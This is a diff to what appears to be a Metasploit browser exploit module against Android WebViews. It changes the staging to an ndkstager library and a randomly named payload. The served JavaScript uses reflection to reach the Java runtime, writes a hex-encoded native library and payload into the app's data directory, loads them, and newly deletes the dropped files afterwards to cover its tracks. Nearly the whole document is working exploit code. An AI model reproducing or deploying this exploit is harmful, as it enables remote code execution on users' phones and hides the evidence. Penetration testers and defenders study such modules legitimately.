@@ -86,12 +86,14 @@ def on_request_exploit(cli, req, browser)
86
86
send_response_html ( cli , html )
87
87
end
88
88
89
- def dalvikstager
90
- localfile = File . join ( Msf ::Config ::InstallRoot , 'data' , 'android' , 'libs' , 'armeabi' , 'libdalvikstager.so' )
91
- File . read ( localfile , :mode => 'rb' )
89
+ def ndkstager ( stagename )
90
+ localfile = File . join ( Msf ::Config ::InstallRoot , 'data' , 'android' , 'libs' , 'armeabi' , 'libndkstager.so' )
91
+ data = File . read ( localfile , :mode => 'rb' )
92
+ data . gsub! ( 'PLOAD' , stagename )
92
93
end
93
94
94
95
def js
96
+ stagename = Rex ::Text . rand_text_alpha ( 5 )
95
97
%Q|
96
98
function exec(obj) {
97
99
// ensure that the object contains a native interface
@@ -101,14 +103,15 @@ def js
101
103
var m = obj.getClass().forName('java.lang.Runtime').getMethod('getRuntime', null);
102
104
var runtime = m.invoke(null, null);
103
105
var stageData = "#{ Rex ::Text . to_hex ( payload . raw , '\\\\x' ) } ";
104
- var libraryData = "#{ Rex ::Text . to_hex ( dalvikstager , '\\\\x' ) } ";
106
+ var libraryData = "#{ Rex ::Text . to_hex ( ndkstager ( stagename ) , '\\\\x' ) } ";
105
107
106
108
// get the process name, which will give us our data path
107
109
var p = runtime.exec(['/system/bin/sh', '-c', 'cat /proc/$PPID/cmdline']);
108
110
var ch, path = '/data/data/';
109
111
while ((ch = p.getInputStream().read()) != 0) { path += String.fromCharCode(ch); }
110
112
var libraryPath = path + '/lib#{ Rex ::Text . rand_text_alpha ( 8 ) } .so';
111
- var stagePath = path + '/stage.apk';
113
+ var stagePath = path + '/#{ stagename } .apk';
114
+ var dexPath = path + '/#{ stagename } .dex';
112
115
113
116
// build the library and chmod it
114
117
runtime.exec(['/system/bin/sh', '-c', 'echo "'+libraryData+'" > '+libraryPath]).waitFor();
@@ -119,6 +122,9 @@ def js
119
122
runtime.exec(['chmod', '700', stagePath]).waitFor();
120
123
121
124
runtime.load(libraryPath);
125
+ runtime.exec(['rm', stagePath]).waitFor();
126
+ runtime.exec(['rm', libraryPath]).waitFor();
127
+ runtime.exec(['rm', dexPath]).waitFor();
122
128
123
129
return true;
124
130
}
0 commit comments